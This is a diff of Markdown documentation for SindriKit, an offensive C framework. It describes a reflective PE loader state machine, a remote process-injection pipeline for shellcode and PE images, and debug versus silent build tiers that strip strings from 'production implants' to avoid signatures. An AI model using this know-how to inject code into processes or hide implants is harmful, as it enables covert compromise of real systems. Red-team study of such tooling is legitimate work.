| `SND_STAGE_EXECUTED` | `snd_ldr_pe_execute_image` | TLS + entry / DllMain ran |
|
||||||
|
|
||||||
|
### Chain vs granular API
|
||||||
|
|
||||||
|
**One-shot local load:**
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_prepare_image(ctx); // PARSED → READY_FOR_EXECUTION
|
||||||
|
snd_ldr_pe_execute_image(ctx); // TLS + entry (local only)
|
||||||
|
```
|
||||||
|
|
||||||
|
`prepare_image` runs: parse → compat check → alloc/copy → reloc → imports → protections.
|
||||||
|
It does **not** run TLS callbacks or the entry point.
|
||||||
|
|
||||||
|
**Granular** engine functions (`snd_ldr_pe_apply_relocations`, etc.) exist for manual staging; each validates predecessor stages.
|
||||||
|
|
||||||
|
### Execution target (`snd_pe_target_t`)
|
||||||
|
|
||||||
|
| Field | Role |
|
||||||
|
|---|---|
|
||||||
|
| `local_base` | Allocation in current process (baked image) |
|
||||||
|
| `execution_base` | Base used for RVAs / entry (equals `local_base` for local load) |
|
||||||
|
| `delta_offset` | `execution_base - preferred_image_base` for relocations |
|
||||||
|
| `entry_point` | Resolved VA for DllMain or EXE entry |
|
||||||
|
| `allocated_size` | Size of mapped image |
|
||||||
|
|
||||||
|
For **remote PE injection**, classic chain sets `execution_base = remote_base` after remote allocation so relocations and imports target the remote VA. Local `snd_ldr_pe_execute_image` is blocked when `local_base != execution_base`.
|
||||||
|
|
||||||
|
### Local execute path
|
||||||
|
|
||||||
|
`snd_ldr_pe_execute_image`:
|
||||||
|
|
||||||
|
1. Requires `stage >= SND_STAGE_READY_FOR_EXECUTION`
|
||||||
|
2. Requires `local_base == execution_base`
|
||||||
|
3. Runs TLS `DLL_PROCESS_ATTACH`
|
||||||
|
4. DLL: calls DllMain; EXE: jumps to entry (does not return on success)
|
||||||
|
|
||||||
|
Optional post-load export calls in PoCs use `snd_ldr_pe_get_proc_address` + `snd_ffi_execute` (outside the stage machine).
|
||||||
|
|
||||||
|
### Detach / cleanup
|
||||||
|
|
||||||
|
`snd_ldr_pe_detach_image` — only when `stage == SND_STAGE_EXECUTED` and image is local: DllMain `DLL_PROCESS_DETACH`, TLS detach, `snd_ldr_pe_free_mapped_image`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Classic injection (`snd_inj_ctx_t`)
|
||||||
|
|
||||||
|
**Header:** `include/sindri/injection/context.h`
|
||||||
|
**Engine:** `include/sindri/injection/classic/engine.h`
|
||||||
|
**Chains:** `include/sindri/injection/classic/chain.h`
|
||||||
|
|
||||||
|
### Stage enum (`snd_inj_stage_t`)
|
||||||
|
|
||||||
|
| Stage | Set by | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `SND_INJ_STAGE_UNINITIALIZED` | Zero-init | No target opened |
|
||||||
|
| `SND_INJ_STAGE_TARGET_ACQUIRED` | `snd_inj_classic_open_target` | `target_process` handle valid |
|
||||||
|
| `SND_INJ_STAGE_MEMORY_ALLOCATED` | `snd_inj_classic_alloc_remote` | `remote_base` allocated |
|
||||||
|
| `SND_INJ_STAGE_PAYLOAD_WRITTEN` | `snd_inj_classic_write_payload` | Bytes copied to target |
|
||||||
|
| `SND_INJ_STAGE_PROTECTIONS_SET` | `snd_inj_classic_set_protections` | Typically `PAGE_EXECUTE_READ` |
|
||||||
|
| `SND_INJ_STAGE_EXECUTED` | `snd_inj_classic_execute` | Remote thread created |
|
||||||
|
|
||||||
|
Debug builds expose human-readable stage names via `snd_inj_stage_to_string()`.
|
||||||
|
|
||||||
|
### Shellcode chain (`snd_inj_classic_shell`)
|
||||||
|
|
||||||
|
Linear pipeline on a single context:
|
||||||
|
|
||||||
|
```
|
||||||
|
open_target → alloc_remote → write_payload → set_protections → execute
|
||||||
|
```
|
||||||
|
|
||||||
|
Requires `inj_ctx.payload` pointing at raw shellcode before the chain runs.
|
||||||
|
|
||||||
|
### PE chain (`snd_inj_classic_pe`) — interleaved pipeline
|
||||||
|
|
||||||
|
PE injection **interleaves** loader and injection stages (not two independent full chains):
|
||||||
|
|
||||||
|
```
|
||||||
|
parse PE + compat check
|
||||||
|
allocate_and_copy_image (local bake)
|
||||||
|
open_target + alloc_remote
|
||||||
|
set execution_base = remote_base
|
||||||
|
apply_relocations (against remote base)
|
||||||
|
resolve_imports
|
||||||
|
write_payload (marshals local image → remote)
|
||||||
|
set_protections
|
||||||
|
execute (thread at remote entry RVA)
|
||||||
|
```
|
||||||
|
|
||||||
|
Notable differences from local reflective load:
|
||||||
|
|
||||||
|
- No `snd_ldr_pe_prepare_image` / `snd_ldr_pe_execute_image` on the remote path
|
||||||
|
- No TLS callbacks or DllMain in target — thread starts at entry RVA
|
||||||
|
- No per-section protection pass on remote path (classic chain writes then sets execute-read on whole region)
|
||||||
|
- `inj_ctx.remote_entry_point` is set to the **entry point VA** before `snd_inj_classic_execute`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Stage validation errors
|
||||||
|
|
||||||
|
Both domains return **`SND_STATUS_INVALID_STAGE_SEQUENCE`** when:
|
||||||
|
|
||||||
|
- Current `stage` does not match the engine function's prerequisite
|
||||||
|
- DEBUG builds include formatted expected vs actual stage names in `status.context`
|
||||||
|
|
||||||
|
Allocation failure during section copy rolls the loader back (frees partial allocation, resets stage toward `SND_STAGE_PARSED`) — see loader engine implementation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Debug stage tracing
|
||||||
|
|
||||||
|
When `SND_ENABLE_DEBUG=ON`, chain and engine code emit transitions via `SND_DEBUG_PRINT`. Stage name strings in loader code use `SND_FALLBACK_STR("…")` so literal stage labels are stripped in SILENT builds.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Adding a new domain technique
|
||||||
|
|
||||||
|
1. Choose context strategy: new loader context type **or** reuse `snd_inj_ctx_t`.
|
||||||
|
2. Define `typedef enum { … } your_stage_t` with monotonic pipeline order.
|
||||||
|
3. Implement engine functions that assert `ctx->stage == EXPECTED` before mutating state.
|
||||||
|
4. Provide `your_technique_chain(ctx)` that calls engine steps in order.
|
||||||
|
5. Document stage table alongside API reference.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Dependency injection](dependency_injection.md)
|
||||||
|
- [Loaders techniques](../domains/loaders/techniques.md)
|
||||||
|
- [Injection techniques](../domains/injection/techniques.md)
|
||||||
|
- [Status system](status_system.md) — `SND_STATUS_INVALID_STAGE_SEQUENCE`
|
||||||
|
|||||||
@@ -1,48 +1,129 @@
|
|||||||
# The Status System
|
# The Status System
|
||||||
|
|
||||||
SindriKit utilizes a universal status reporting mechanism built around the `snd_status_t` structure. Traditional C error handling (returning raw integers or `NULL` pointers) is often insufficient for complex offensive tooling, as it fails to capture critical contextual information (such as the underlying OS error code) when a failure occurs deep within an operation.
|
SindriKit uses a universal **`snd_status_t`** return type instead of bare integers or NULL checks. Failures carry a framework error code and the underlying OS error (Win32 or NTSTATUS) in a single struct.
|
||||||
|
|
||||||
The SindriKit status system is designed to provide maximum verbosity during development while guaranteeing absolute zero-footprint string literal emissions during production deployments.
|
**Header:** `include/sindri/common/status.h`
|
||||||
|
**Implementation:** `src/common/status.c`
|
||||||
|
|
||||||
## The `snd_status_t` Structure
|
---
|
||||||
|
|
||||||
Every function in the framework that can fail returns a `snd_status_t` object (defined in `include/sindri/common/status.h`).
|
## The `snd_status_t` structure
|
||||||
|
|
||||||
The structure tracks the following:
|
### Always present
|
||||||
1. `code`: A unified `snd_status_code_t` enumeration detailing the exact framework-level error (e.g., `SND_STATUS_NT_HEADERS_TRUNCATED`, `SND_STATUS_SSN_NOT_FOUND`).
|
|
||||||
2. `os_error`: The native OS error code captured at the moment of failure (via `GetLastError()` or an NTSTATUS value).
|
|
||||||
|
|
||||||
## Development vs. Production Tiers (OpSec)
|
| Field | Type | Purpose |
|
||||||
|
|---|---|---|
|
||||||
|
| `code` | `snd_status_code_t` | Framework-level result (success or domain-specific failure) |
|
||||||
|
| `os_error` | `int` | `GetLastError()` or NTSTATUS captured at failure site |
|
||||||
|
|
||||||
The true power of the status system lies in how it interacts with the `SND_DEBUG` preprocessor macro (controlled via the `SND_ENABLE_DEBUG` CMake variable).
|
### DEBUG tier only (`SND_DEBUG=1`)
|
||||||
|
|
||||||
### Debug Tier (`SND_DEBUG=1`)
|
| Field | Purpose |
|
||||||
During development, the `snd_status_t` structure expands to include heavily detailed telemetry:
|
|---|---|
|
||||||
- `file`: The C source file where the error occurred (`__FILE__`).
|
| `file` | `__FILE__` of failing macro |
|
||||||
- `line`: The exact line number (`__LINE__`).
|
| `line` | `__LINE__` |
|
||||||
- `context`: A dynamically formatted string buffer (up to 128 chars) providing hyper-specific details (e.g., "Failed to resolve API hash 0xDEADBEEF").
|
| `context` | `char[SND_MAX_CTX_LEN]` — formatted detail (128 bytes incl. NUL) |
|
||||||
|
|
||||||
This allows operators to pinpoint exactly why an evasion primitive or loader sequence failed without relying on external debuggers.
|
When `SND_ENABLE_DEBUG=OFF`, the struct shrinks to `{ code, os_error }` only. String formatting arguments to error macros are compiled out.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## DEBUG vs SILENT tiers
|
||||||
|
|
||||||
|
Controlled by CMake **`SND_ENABLE_DEBUG`** → preprocessor **`SND_DEBUG`**.
|
||||||
|
|
||||||
|
| Tier | CMake | Struct size | String literals in `.rdata` |
|
||||||
|
|---|---|---|---|
|
||||||
|
| DEBUG | `SND_ENABLE_DEBUG=ON` | Full | File paths, stage names, `SND_ERR_CTX` format strings |
|
||||||
|
| SILENT | `SND_ENABLE_DEBUG=OFF` | Minimal | Stripped — production implants only |
|
||||||
|
|
||||||
### Silent Tier (`SND_DEBUG=0`)
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> When compiling for an operation, emitting plaintext string literals (like file paths or error contexts) into the payload's `.rdata` section creates massive, easily signatureable IOCs.
|
> Plaintext error strings in release binaries are signature surface. Production artifacts must use the SILENT tier.
|
||||||
|
|
||||||
When `SND_ENABLE_DEBUG` is disabled, the status macros dynamically shrink the `snd_status_t` struct:
|
`SND_USE_PRINTF=ON` (requires DEBUG) routes diagnostics to `stdout` instead of `OutputDebugStringA` and pulls in CRT I/O.
|
||||||
- The `file`, `line`, and `context` fields are completely excised from the struct definition.
|
|
||||||
- The `SND_ERR_CTX` macro ignores all string formatting arguments.
|
|
||||||
- The compiled output is reduced to pure integer assignments (just `code` and `os_error`).
|
|
||||||
|
|
||||||
This achieves a completely silent, stringless release build without forcing the operator to manually strip out error handling code.
|
---
|
||||||
|
|
||||||
## Helper Macros
|
## Helper macros
|
||||||
|
|
||||||
Developers interact with the status system using a suite of context-aware macros:
|
| Macro | Behavior |
|
||||||
|
|---|---|
|
||||||
|
| `SND_OK` | Success (`code == SND_SUCCESS`) |
|
||||||
|
| `SND_SUCCEEDED(x)` / `SND_FAILED(x)` | Test `x.code` |
|
||||||
|
| `SND_ERR(code)` | Framework error, `os_error = 0` |
|
||||||
|
| `SND_ERR_CTX(code, fmt, …)` | Error + formatted context (DEBUG only) |
|
||||||
|
| `SND_ERR_W32(code)` | Error + `GetLastError()` |
|
||||||
|
| `SND_ERR_W32_CTX(code, fmt, …)` | W32 + context |
|
||||||
|
| `SND_ERR_NT(code, nt_status)` | Error + NTSTATUS |
|
||||||
|
| `SND_ERR_NT_CTX(code, nt_status, fmt, …)` | NT + context |
|
||||||
|
|
||||||
- `SND_OK`: Returns a successful status.
|
Release builds map `SND_ERR_CTX` / `SND_ERR_W32_CTX` / `SND_ERR_NT_CTX` to the non-context variants — format arguments are not evaluated for side effects in a way that emits strings, but callers should not rely on context formatting in SILENT.
|
||||||
- `SND_ERR(code)`: Returns a generic framework error.
|
|
||||||
- `SND_ERR_W32(code)`: Returns a framework error and automatically captures `GetLastError()`.
|
|
||||||
- `SND_ERR_CTX(code, fmt, ...)`: Returns an error with a custom `printf`-style formatted string (which is automatically stripped in Silent builds).
|
|
||||||
- `SND_ERR_W32_CTX(code, fmt, ...)`: Combines OS error capturing with custom string context.
|
|
||||||
|
|
||||||
By strictly adhering to this pattern, all toolkit domains inherit both robust diagnostics and guaranteed operational security.
|
---
|
||||||
|
|
||||||
|
## Human-readable output
|
||||||
|
|
||||||
|
| Function | DEBUG | SILENT |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_status_to_string(status)` | Description of `code` | Empty string |
|
||||||
|
| `snd_status_print(status)` | Prints code, context, os_error, file/line | No-op body |
|
||||||
|
|
||||||
|
PoCs and development builds use `snd_status_print` on failure paths:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t status = snd_ldr_pe_prepare_image(&ctx);
|
||||||
|
if (SND_FAILED(status)) {
|
||||||
|
snd_status_print(status);
|
||||||
|
return status.code;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Status code ranges
|
||||||
|
|
||||||
|
Selected groupings from `snd_status_code_t`:
|
||||||
|
|
||||||
|
| Range | Domain | Examples |
|
||||||
|
|---|---|---|
|
||||||
|
| `0` | Success | `SND_SUCCESS` |
|
||||||
|
| Negative small ints | Generic | `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_BUFFER_TOO_SMALL` |
|
||||||
|
| `0x100` | CLI | `SND_STATUS_MISSING_COMMAND_LINE_ARGS` |
|
||||||
|
| `0x200` | File I/O | `SND_STATUS_FILE_READ_FAILED`, `SND_STATUS_ALLOC_FAILED` |
|
||||||
|
| `0x300` | PE parsing | `SND_STATUS_INVALID_NT_SIGNATURE`, `SND_STATUS_ARCH_MISMATCH` |
|
||||||
|
| `0x400` | Reflective load | `SND_STATUS_IMPORT_SYMBOL_RESOLVE_FAILED`, `SND_STATUS_INVALID_STAGE_SEQUENCE` |
|
||||||
|
| `0x500` | Syscalls | `SND_STATUS_SSN_NOT_FOUND` |
|
||||||
|
| `0x600` | PEB / env | `SND_STATUS_PEB_MODULE_NOT_FOUND` |
|
||||||
|
| `0x800` | OS / mapping | `SND_STATUS_VIRTUAL_ALLOC_FAILED`, `SND_STATUS_SECTION_MAP_FAILED` |
|
||||||
|
| `0x900` | Remote / access | `SND_STATUS_ACCESS_DENIED` |
|
||||||
|
|
||||||
|
Full enum: `include/sindri/common/status.h`.
|
||||||
|
Per-domain references: [Common API](../common/api_reference.md#status-sindricommonstatush).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Conventions for domain code
|
||||||
|
|
||||||
|
1. **Return `snd_status_t`** from any function that can fail meaningfully.
|
||||||
|
2. **Propagate** upstream — do not swallow `os_error`; use `SND_ERR_W32` / `SND_ERR_NT` at the failure boundary.
|
||||||
|
3. **Use `SND_ERR_CTX`** for stage mismatches and resolver failures (stripped in SILENT).
|
||||||
|
4. **Do not** `printf` errors directly — use `SND_DEBUG_PRINT` or `snd_status_print`.
|
||||||
|
5. **Callers** test with `SND_FAILED(status)`, not `status.code != 0` alone (future-proof if success codes expand).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Interaction with CRT-less builds
|
||||||
|
|
||||||
|
`SND_CRTLESS=ON` force-disables DEBUG and `SND_USE_PRINTF` because status context formatting requires `<stdio.h>` / `vsnprintf`.
|
||||||
|
|
||||||
|
CRT-less implants still receive `{ code, os_error }` from every API — only diagnostic strings disappear.
|
||||||
|
|
||||||
|
See [Building: CRT independence](../getting_started/building.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Common infrastructure](../common/infrastructure.md)
|
||||||
|
- [State machines](state_machines.md) — stage sequence errors
|
||||||
|
- [Getting started](../getting_started/basic_usage.md) — status handling in PoCs
|
||||||
|
|||||||
+35
-5
@@ -1,9 +1,39 @@
|
|||||||
# Common Infrastructure
|
# Common Infrastructure
|
||||||
|
|
||||||
This directory documents the shared, domain-agnostic utilities that underpin the entire SindriKit framework. These headers live under `include/sindri/common/` and provide CRT-independent primitives, buffer lifecycle management, API hashing, and the diagnostic status system.
|
Shared, domain-agnostic utilities under `include/sindri/common/`. Aggregated by `include/sindri/common.h`.
|
||||||
|
|
||||||
|
These headers provide CRT independence, bounded memory access, and hash-based API resolution without plaintext strings.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `macros.h` | `SND_FORCE_INLINE`, `SND_BEGIN_EXTERN_C`, linkage wrappers |
|
||||||
|
| `memory.h` | Bounds checks, `snd_memzero`, `snd_memcpy`, `SND_PTR_ADD` |
|
||||||
|
| `string.h` | Bounded ASCII and wide string operations |
|
||||||
|
| `buffer.h` | `snd_buffer_t` lifecycle and buffer bounds checking |
|
||||||
|
| `hash.h` | Runtime hashing (`snd_hash`, `snd_hash_lower`, `snd_hash_wide_lower`) |
|
||||||
|
| `status.h` | `snd_status_t`, error macros, `SND_SUCCEEDED` / `SND_FAILED` |
|
||||||
|
| `debug.h` | `SND_DEBUG_PRINT`, `SND_FALLBACK_STR`, `snd_dump_hex` |
|
||||||
|
| `disk.h` | `snd_disk_buffer_load` (PoC file I/O) |
|
||||||
|
|
||||||
|
### Related: internal NT layouts
|
||||||
|
|
||||||
|
Windows NT structure definitions live in `include/sindri/internal/nt/` (not pulled in by `common.h`):
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `internal/nt/types.h` | `SND_UNICODE_STRING`, `SND_OBJECT_ATTRIBUTES`, `SND_NT_SUCCESS` |
|
||||||
|
| `internal/nt/api.h` | `Nt*` / `LdrLoadDll` function pointer typedefs |
|
||||||
|
| `internal/nt/peb.h` | PEB, loader lists, process parameters layouts |
|
||||||
|
| `internal/nt.h` | Umbrella include |
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [infrastructure.md](infrastructure.md)
|
|
||||||
Conceptual breakdown of how SindriKit achieves full CRT independence, how buffer bounds tracking prevents memory corruption, and how the compile-time hashing pipeline eliminates plaintext strings.
|
- [infrastructure.md](infrastructure.md) — CRT independence, bounds model, hashing pipeline, debug tiers
|
||||||
- [api_reference.md](api_reference.md)
|
- [api_reference.md](api_reference.md) — full public common API
|
||||||
Complete API documentation for buffers, hashing, CRT replacement primitives, disk I/O, and the debug output system.
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Architecture: status system](../architecture/status_system.md)
|
||||||
|
- [Config: hash manifest](../config/hashes_manifest.md)
|
||||||
|
|||||||
+245
-272
@@ -1,353 +1,326 @@
|
|||||||
# Common: API Reference
|
# Common: API Reference
|
||||||
|
|
||||||
This page documents the public API surface of the shared infrastructure headers under `include/sindri/common/`.
|
Public API under `include/sindri/common/`. Include `sindri/common.h` for the full surface.
|
||||||
|
|
||||||
|
Implementation sources: `src/common/` (`buffer.c`, `hash.c`, `status.c`, `disk.c`, `debug.c`, `crt_manifest.c`).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Buffer Management (`sindri/common/buffer.h`)
|
## Macros (`sindri/common/macros.h`)
|
||||||
|
|
||||||
### `snd_buffer_t`
|
| Macro | Description |
|
||||||
|
|---|---|
|
||||||
Tracked memory buffer structure. Pairs a data pointer with its size and an optional deallocation callback.
|
| `SND_BEGIN_EXTERN_C` / `SND_END_EXTERN_C` | C++ `extern "C"` linkage wrappers |
|
||||||
|
| `SND_FORCE_INLINE` | `static __forceinline` (MSVC) or `always_inline` (GCC/Clang) |
|
||||||
| Field | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `data` | `LPVOID` | Pointer to the memory block |
|
|
||||||
| `size` | `SIZE_T` | Size of the memory block in bytes |
|
|
||||||
| `free_routine` | `snd_free_cb` | Optional callback invoked by `snd_buffer_free` to release the memory |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_buffer_init`
|
## Memory (`sindri/common/memory.h`)
|
||||||
|
|
||||||
Initializes a buffer structure with tracking metadata.
|
Header-only CRT replacements and bounds helpers.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
### `SND_PTR_ADD(base, offset)`
|
||||||
|---|---|---|
|
|
||||||
| `buf` | `snd_buffer_t*` | Buffer structure to initialize |
|
|
||||||
| `data` | `LPVOID` | Pointer to the memory block |
|
|
||||||
| `size` | `SIZE_T` | Size of the memory block |
|
|
||||||
| `free_routine` | `snd_free_cb` | Optional cleanup callback; may be NULL |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
Adds a byte offset to a base pointer (casts through `unsigned char *`).
|
||||||
|
|
||||||
---
|
### `snd_memory_bounds_check`
|
||||||
|
|
||||||
### `snd_buffer_free`
|
```c
|
||||||
|
SND_FORCE_INLINE int snd_memory_bounds_check(size_t total_size, size_t offset, size_t size);
|
||||||
|
```
|
||||||
|
|
||||||
Invokes the buffer's assigned `free_routine` (if non-NULL) and zeroes the structure fields.
|
Returns `1` if `[offset, offset+size)` fits within `[0, total_size)`.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
### `snd_memory_ptr_bounds_check`
|
||||||
|---|---|---|
|
|
||||||
| `buf` | `snd_buffer_t*` | Buffer to free and zero |
|
|
||||||
|
|
||||||
**Returns:** `void`
|
```c
|
||||||
|
SND_FORCE_INLINE int snd_memory_ptr_bounds_check(
|
||||||
|
const void *base, size_t total_size, const void *ptr, size_t size);
|
||||||
|
```
|
||||||
|
|
||||||
---
|
Validates that `[ptr, ptr+size)` lies within `[base, base+total_size)`. Returns `0` if `base` or `ptr` is NULL, or if `ptr < base`.
|
||||||
|
|
||||||
### Pre-built Free Routines
|
|
||||||
|
|
||||||
| Function | Backend | Use Case |
|
|
||||||
|---|---|---|
|
|
||||||
| `snd_buffer_free_heap` | `HeapFree(GetProcessHeap(), ...)` | Buffers allocated via `HeapAlloc` |
|
|
||||||
| `snd_buffer_free_virtual` | `VirtualFree(..., MEM_RELEASE)` | Buffers allocated via `VirtualAlloc` |
|
|
||||||
| `snd_buffer_free_mapped` | `UnmapViewOfFile(...)` | Buffers created via `MapViewOfFile` |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Bounds Checking (`sindri/common/helpers.h`)
|
|
||||||
|
|
||||||
All bounds-checking functions are force-inlined to eliminate call overhead.
|
|
||||||
|
|
||||||
### `snd_bounds_check`
|
|
||||||
|
|
||||||
Pure arithmetic bounds validation. Returns `TRUE` if `offset + size` fits within `total_size`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `total_size` | `SIZE_T` | Total size of the region |
|
|
||||||
| `offset` | `SIZE_T` | Offset from the start |
|
|
||||||
| `size` | `SIZE_T` | Size of the sub-region to validate |
|
|
||||||
|
|
||||||
**Returns:** `BOOL`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_buffer_bounds_check`
|
|
||||||
|
|
||||||
Validates an `(offset, size)` pair against a tracked `snd_buffer_t`. Returns `FALSE` if the buffer is NULL, empty, or the region exceeds bounds.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `buf` | `const snd_buffer_t*` | Tracked buffer to validate against |
|
|
||||||
| `offset` | `SIZE_T` | Offset from `buf->data` |
|
|
||||||
| `size` | `SIZE_T` | Size of the sub-region |
|
|
||||||
|
|
||||||
**Returns:** `BOOL`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_ptr_bounds_check`
|
|
||||||
|
|
||||||
Validates an arbitrary pointer against a known base region. Computes the offset from `base` to `ptr` and delegates to `snd_bounds_check`.
|
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `base` | `const void*` | Base pointer of the known region |
|
|
||||||
| `total_size` | `SIZE_T` | Total size of the region |
|
|
||||||
| `ptr` | `const void*` | Target pointer to validate |
|
|
||||||
| `size` | `SIZE_T` | Size of the access at the target pointer |
|
|
||||||
|
|
||||||
**Returns:** `BOOL`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## CRT Replacement Primitives (`sindri/common/helpers.h`)
|
|
||||||
|
|
||||||
### `snd_memzero`
|
### `snd_memzero`
|
||||||
|
|
||||||
Zeroes `size` bytes at `dest` using a `volatile BYTE*` loop to prevent compiler elision.
|
Zeroes `size` bytes at `dest` using a `volatile` loop (prevents compiler elision). Replaces `memset`.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `dest` | `void*` | Destination pointer |
|
|
||||||
| `size` | `size_t` | Number of bytes to zero |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### `snd_memcpy`
|
### `snd_memcpy`
|
||||||
|
|
||||||
Copies `count` bytes from `src` to `dest`. No alignment assumptions.
|
Copies `count` bytes from `src` to `dest`. Replaces `memcpy`.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
|
||||||
|---|---|---|
|
|
||||||
| `dest` | `void*` | Destination pointer |
|
|
||||||
| `src` | `const void*` | Source pointer |
|
|
||||||
| `count` | `size_t` | Number of bytes to copy |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_strnlen`
|
## String (`sindri/common/string.h`)
|
||||||
|
|
||||||
Returns the length of `str`, up to a maximum of `max_len`.
|
Header-only bounded string operations.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
### ASCII
|
||||||
|
|
||||||
|
| Function | Replaces | Notes |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `str` | `const char*` | Input string |
|
| `snd_strnlen(str, max_len)` | `strnlen` | |
|
||||||
| `max_len` | `size_t` | Maximum characters to scan |
|
| `snd_strncpy(dest, dest_size, src, max_src_len)` | `strncpy` | Always null-terminates |
|
||||||
|
| `snd_strncat(dest, dest_size, src, max_src_len)` | `strncat` | Bounded append |
|
||||||
|
| `snd_strnchr(str, c, max_len)` | `strchr` | Bounded search |
|
||||||
|
| `snd_strncmp(s1, s2, max_len)` | `strncmp` | Returns `<0 / 0 / >0` |
|
||||||
|
|
||||||
**Returns:** `size_t`
|
### Wide (UTF-16)
|
||||||
|
|
||||||
|
| Function | Replaces | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_wcsnlen(str, max_len)` | `wcsnlen` | |
|
||||||
|
| `snd_wcsnicmp(s1, s2, n)` | `wcsnicmp` | Case-insensitive |
|
||||||
|
| `snd_wcsncpy(dest, dest_size, src, max_src_len)` | `wcsncpy` | |
|
||||||
|
| `snd_wcsncat(dest, dest_size, src, max_src_len)` | `wcsncat` | |
|
||||||
|
| `snd_ascii_to_wide(dest, dest_size, src, max_src_len)` | `mbstowcs` | Latin ASCII → wide |
|
||||||
|
|
||||||
|
Used by PEB walking, export forwarders, and `LdrLoadDll` path construction.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### `snd_strncpy`
|
## Buffer (`sindri/common/buffer.h`)
|
||||||
|
|
||||||
Copies up to `max_src_len` characters from `src` into `dest`, always null-terminating. Never writes more than `dest_size` bytes.
|
### `snd_buffer_t`
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
```c
|
||||||
|---|---|---|
|
typedef struct snd_buffer_s {
|
||||||
| `dest` | `char*` | Destination buffer |
|
void *data;
|
||||||
| `dest_size` | `size_t` | Total size of the destination buffer |
|
size_t size;
|
||||||
| `src` | `const char*` | Source string |
|
snd_free_cb free_routine;
|
||||||
| `max_src_len` | `size_t` | Maximum characters to copy from source |
|
} snd_buffer_t;
|
||||||
|
```
|
||||||
|
|
||||||
---
|
### `snd_free_cb`
|
||||||
|
|
||||||
### `snd_strncat`
|
```c
|
||||||
|
typedef void (*snd_free_cb)(snd_buffer_t *buf);
|
||||||
|
```
|
||||||
|
|
||||||
Appends up to `max_src_len` characters from `src` to `dest`, respecting `dest_size` and always null-terminating.
|
### `snd_buffer_init`
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
Initializes tracking metadata without allocating memory.
|
||||||
|---|---|---|
|
|
||||||
| `dest` | `char*` | Destination buffer (must already be null-terminated) |
|
|
||||||
| `dest_size` | `SIZE_T` | Total size of the destination buffer |
|
|
||||||
| `src` | `const char*` | Source string to append |
|
|
||||||
| `max_src_len` | `SIZE_T` | Maximum characters to append |
|
|
||||||
|
|
||||||
---
|
```c
|
||||||
|
void snd_buffer_init(snd_buffer_t *buf, void *data, size_t size, snd_free_cb free_routine);
|
||||||
|
```
|
||||||
|
|
||||||
### `snd_strnchr`
|
### `snd_buffer_free`
|
||||||
|
|
||||||
Searches for character `c` within the first `max_len` characters of `str`.
|
Invokes `free_routine` if set, then zeroes the struct.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
```c
|
||||||
|---|---|---|
|
void snd_buffer_free(snd_buffer_t *buf);
|
||||||
| `str` | `const char*` | String to search |
|
```
|
||||||
| `c` | `char` | Character to find |
|
|
||||||
| `max_len` | `SIZE_T` | Maximum characters to scan |
|
|
||||||
|
|
||||||
**Returns:** `const char*` — pointer to the first occurrence, or `NULL`.
|
**Source:** `src/common/buffer.c`
|
||||||
|
|
||||||
---
|
### `snd_buffer_bounds_check`
|
||||||
|
|
||||||
### `snd_strncmp`
|
```c
|
||||||
|
SND_FORCE_INLINE int snd_buffer_bounds_check(const snd_buffer_t *buf, size_t offset, size_t size);
|
||||||
|
```
|
||||||
|
|
||||||
Compares up to `max_len` characters of `s1` and `s2`.
|
Returns `0` if `buf` is NULL, `buf->data` is NULL, or `buf->size` is zero.
|
||||||
|
|
||||||
| Parameter | Type | Description |
|
### Pre-built free routines
|
||||||
|---|---|---|
|
|
||||||
| `s1` | `const char*` | First string |
|
|
||||||
